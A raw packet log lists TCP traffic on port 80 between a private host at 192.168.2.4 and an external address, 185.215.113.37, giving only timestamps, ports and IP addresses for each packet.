Oct 7, 2024 21:19:22.805530071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805540085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805562019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.805589914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805597067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.805604935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805614948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805624008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805639982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.805675983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.805825949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805839062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805846930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805855036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805864096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805870056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805879116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.805880070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.805912018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.805937052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.806133032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.806145906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.806154966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.806168079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.806190968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.806225061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.282229900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.287415981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.497454882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.497473001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.497484922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.497492075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.497675896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.497802019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.497821093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.497860909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.497874975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.497894049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.497908115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.497940063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.497956038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.498141050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.498152018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.498162985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.498173952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.498189926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.498203039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.498239994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.498294115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.498306036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.498316050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.498326063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.498336077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.498337030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.498347044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.498357058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.498358011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.498368025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.498378992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.498389006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.498389006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.498414040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.498433113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.498943090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.498991966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.499033928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.499046087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.499056101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.499067068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.499077082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.499084949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.499089003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.499109983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.499123096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.499149084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.589297056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.589312077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.589489937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.622158051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.622184992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.622196913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.622206926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.622217894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.622226954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.622523069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.623442888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.623471022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.623481989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.623497963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.623507977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.623517990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.623528957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.623538971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.623733044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.623761892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.623773098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.623781919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.623791933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.623800993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.623810053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.623819113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.623827934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.623828888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.623828888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.623838902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.623846054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.623862028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.623898983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.624368906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.624378920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.624387980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.624397993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.624408960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.624417067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.624423027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.624428034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.624439955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.624439955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.624452114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.624461889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.624473095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.624483109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.624491930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.624494076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.624494076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.624494076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.624502897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.624504089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.624515057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.624525070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.624564886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.624970913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.624983072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.624990940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.625005007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.625014067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.625019073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.625025034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.625030994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.625037909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.625046968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.625056028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.625058889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.625070095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.625077963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.625077963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.625088930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.625088930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.625102043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.625111103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.625133038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.625510931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.625523090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.625531912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.625540972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.625564098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.625564098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.625596046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.625713110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.625726938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.625735998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.625763893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.625780106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.747828960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.747944117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.747966051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.747977018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.747989893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.747998953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.748008966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.748009920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.748023987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.748039961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.748069048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.748291016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.748303890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.748312950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.748322964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.748332977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.748342037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.748344898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.748363972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.748378992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.748583078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.748626947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.748780012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.748790979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.748800993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.748811007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.748822927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.748823881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.748832941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.748845100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.748848915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.748857975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.748859882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.748869896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.748881102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.748888969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.748913050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.748925924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.749258995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.749314070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.749452114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.749464035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.749474049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.749484062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.749492884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.749502897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.749505997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.749514103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.749525070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.749533892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.749546051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.749548912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.749557972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.749557972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.749588013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.749939919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.749952078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.749962091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.749996901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.750017881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.750089884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.750102997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.750113010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.750122070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.750132084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.750140905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.750143051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.750150919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.750161886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.750161886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.750180960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.750188112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.750211954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.751008987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.751020908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.751029968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.751039028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.751049042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.751059055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.751068115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.751077890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.751091957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.751117945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.751169920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.751180887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.751189947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.751199961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.751209974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.751210928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.751221895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.751233101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.751250982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.751281023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.751317978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.751329899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.751363039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.751374960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.752016068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752024889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752074003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.752180099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752192974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752202988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752212048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752221107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752233982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752237082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.752244949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752253056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.752255917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752265930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752268076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.752276897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752293110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.752319098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.752441883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752454042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752463102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752473116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752481937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752485991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.752492905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752505064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.752527952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.752635956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752680063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752688885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752697945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752708912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752716064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.752718925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752727032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.752732038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752748013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752752066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.752758980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752770901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752784967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.752785921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752784967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.752801895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752813101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752815008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.752823114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752832890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752839088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.752844095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.752846956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.752873898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.752892971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.753329039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.753382921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.871756077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.871773958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.871786118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.871795893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.871814013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.871819019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.871831894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.871836901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.871844053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.871845961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.871856928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.871867895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.871921062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.872538090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.872550964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.872562885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.872572899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.872642040 CEST	80	49730	185.215.113.37	192.168.2.4
